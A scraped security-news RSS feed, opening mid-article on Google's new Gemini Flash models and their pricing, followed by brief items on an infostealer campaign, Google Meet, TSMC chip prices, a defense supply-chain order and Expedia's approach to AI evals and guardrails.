Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Hackers Turn Fake Games Into Multi-Stage Infostealers That Steal Passwords and Crypto Wallets]]></title>
<description><![CDATA[Criminals are using fake game downloads to slip a sophisticated information stealer onto Windows computers. The campaign hides behind supposed games, mods, cracks, and other software, exploiting the trust and urgency around free or hard-to-find downloads. A downloaded archive can appear harmless ...]]></description>
<link>https://tsecurity.de/de/3684724/it-security-nachrichten/hackers-turn-fake-games-into-multi-stage-infostealers-that-steal-passwords-and-crypto-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684724/it-security-nachrichten/hackers-turn-fake-games-into-multi-stage-infostealers-that-steal-passwords-and-crypto-wallets/</guid>
<pubDate>Tue, 21 Jul 2026 21:31:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Criminals are using fake game downloads to slip a sophisticated information stealer onto Windows computers. The campaign hides behind supposed games, mods, cracks, and other software, exploiting the trust and urgency around free or hard-to-find downloads. A downloaded archive can appear harmless and may even display a loading or installation screen. Behind that screen, a […]</p>
<p>The post <a href="https://cybersecuritynews.com/hackers-fake-games-infostealers/">Hackers Turn Fake Games Into Multi-Stage Infostealers That Steal Passwords and Crypto Wallets</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[A centralized hub for meeting resources on the new Google Meet homepage]]></title>
<description><![CDATA[Finding the right notes or attachments for a meeting shouldn't feel like a scavenger hunt. We’re introducing a revamped Google Meet homepage on the web to help you stay organized and prepared throughout your entire meeting workflow.The new homepage provides a centralized view of your meeting agen...]]></description>
<link>https://tsecurity.de/de/3684693/web-tipps/a-centralized-hub-for-meeting-resources-on-the-new-google-meet-homepage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684693/web-tipps/a-centralized-hub-for-meeting-resources-on-the-new-google-meet-homepage/</guid>
<pubDate>Tue, 21 Jul 2026 21:17:36 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Finding the right notes or attachments for a meeting shouldn't feel like a scavenger hunt. We’re introducing a revamped <a href="http://meet.google.com/" target="_blank">Google Meet homepage</a> on the web to help you stay organized and prepared throughout your entire meeting workflow.</p><p>The new homepage provides a centralized view of your meeting agenda and essential artifacts, allowing you to:</p><p></p><ul><li><b>Prepare effectively:</b> Quickly access meeting descriptions and calendar attachments for upcoming calls. </li><li><b>Follow through easily: </b>Find meeting notes, recordings, and transcripts from past meetings without digging through your inbox or Drive.</li><li><b>Manage your time:</b> Use the new week and month navigators to look ahead at your schedule or revisit previous discussions.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj97q6323Azup-mSVmBw7RHnzSg7_xZtEyApn_SM4M_BFl7r0rc_z0hIYwSlHCI7-MMg_yzFKMZNj8e25olawT_ETkeezqA5rTj4qkUY5NxxMUi2BtikHg_c5-G29uienFKv_nNemimnK7J7lTrfnA8qnJcWoaQjxzNsRbWYkkvL6lGd7C2-yYEcmFY98/s1280/A%20centralized%20hub%20for%20meeting%20resources%20on%20the%20new%20Google%20Meet%20homepage%20-%206698.png"><img border="0" data-original-height="826" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj97q6323Azup-mSVmBw7RHnzSg7_xZtEyApn_SM4M_BFl7r0rc_z0hIYwSlHCI7-MMg_yzFKMZNj8e25olawT_ETkeezqA5rTj4qkUY5NxxMUi2BtikHg_c5-G29uienFKv_nNemimnK7J7lTrfnA8qnJcWoaQjxzNsRbWYkkvL6lGd7C2-yYEcmFY98/s1600/A%20centralized%20hub%20for%20meeting%20resources%20on%20the%20new%20Google%20Meet%20homepage%20-%206698.png"></a></div><p></p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no admin control for this feature. The new homepage experience will be available to all users with access to Google Meet on the web.</li><li><b>End users: </b>The new homepage experience will be available to all Meet users on the web. Visit meet.google.com to get started.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 21, 2026 </li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on August 17, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers and Workspace Individual subscribers</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Meet: <a href="http://meet.google.com/" target="_blank">Google Meet Homepage</a></li><li>Google Meet Help: <a href="https://support.google.com/meet/answer/17302648" target="_blank">Use the Google Meet homepage</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[Apple Product Prices Could Rise Again as TSMC Plans Higher Chip Costs]]></title>
<description><![CDATA[Apple customers may face another round of price increases after TSMC reportedly decided to raise chipmaking prices from 2027. Apple has already increased prices across several product categories because of higher memory and storage costs, while analysts also expect new iPhone models to cost more ...]]></description>
<link>https://tsecurity.de/de/3684639/ios-mac-os/apple-product-prices-could-rise-again-as-tsmc-plans-higher-chip-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684639/ios-mac-os/apple-product-prices-could-rise-again-as-tsmc-plans-higher-chip-costs/</guid>
<pubDate>Tue, 21 Jul 2026 20:47:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple customers may face another round of price increases after TSMC reportedly decided to raise chipmaking prices from 2027. Apple has already increased prices across several product categories because of higher memory and storage costs, while analysts also expect new iPhone models to cost more when they launch in September.



The company recently raised prices on several products and upgrade options, with some increases exceeding 50%. In a few cases, memory and storage upgrades doubled in price, which made higher-end configurations much more expensive for customers.



Apple said it was working to reduce the impact of rising component costs, although many customers expect the new prices to remain permanent. Higher prices also appear likely to affect buying habits, as some users plan to keep their devices longer or choose lower storage options.



TSMC Plans Chipmaking Price Increases



Nikkei Asia reports that TSMC plans to increase prices for advanced and mature chip production services by between 5% and 10% in 2027. The company reportedly wants to cover higher costs linked to materials, manufacturing equipment, and the construction of new factories outside Taiwan.



The report also claims that TSMC may charge customers an additional premium of up to 15% when they increase orders beyond their original forecasts. Apple could face this extra cost when demand for a new iPhone, Mac, or iPad exceeds its initial production estimates.



TSMC reportedly completed pricing negotiations with several major customers, although the company declined to discuss specific details. Apple relies heavily on TSMC to manufacture chips for the iPhone, Mac, iPad, Apple Watch, and several other products.



Higher chipmaking costs would add more pressure to Apple’s hardware pricing at a time when memory costs have already pushed prices upward. Apple may absorb part of the increase, reduce margins, or pass more of the cost to customers through higher device prices and more expensive upgrade options.]]></content:encoded>
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<title><![CDATA[Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains]]></title>
<description><![CDATA[New executive order calls for end-to-end visibility into defense supply chains, including software dependencies, foreign ownership and cyber-related supplier risks. The post Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains appeared first on SecurityWeek. T...]]></description>
<link>https://tsecurity.de/de/3684634/it-security-nachrichten/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684634/it-security-nachrichten/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/</guid>
<pubDate>Tue, 21 Jul 2026 20:41:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New executive order calls for end-to-end visibility into defense supply chains, including software dependencies, foreign ownership and cyber-related supplier risks. The post Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains appeared first on SecurityWeek. This article…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/">Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains]]></title>
<description><![CDATA[New executive order calls for end-to-end visibility into defense supply chains, including software dependencies, foreign ownership and cyber-related supplier risks.
The post Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3684616/it-security-nachrichten/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684616/it-security-nachrichten/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/</guid>
<pubDate>Tue, 21 Jul 2026 20:26:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New executive order calls for end-to-end visibility into defense supply chains, including software dependencies, foreign ownership and cyber-related supplier risks.</p>
<p>The post <a href="https://www.securityweek.com/trump-orders-defense-contractors-to-map-software-suppliers-across-critical-supply-chains/">Trump Orders Defense Contractors to Map Software, Suppliers Across Critical Supply Chains</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
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<title><![CDATA[HireQuotient Extends AI Recruiting Capabilities to Paylocity Customers in Frontline Industries]]></title>
<description><![CDATA[HireQuotient, an AI-native recruiting platform, today announced its integration with Paylocity (Nasdaq: PCTY), bringing AI-powered candidate sourcing and screening capabilities to Paylocity customers in manufacturing, building services, construction, healthcare and insurance, which are industries...]]></description>
<link>https://tsecurity.de/de/3684468/it-nachrichten/hirequotient-extends-ai-recruiting-capabilities-to-paylocity-customers-in-frontline-industries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684468/it-nachrichten/hirequotient-extends-ai-recruiting-capabilities-to-paylocity-customers-in-frontline-industries/</guid>
<pubDate>Tue, 21 Jul 2026 19:34:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
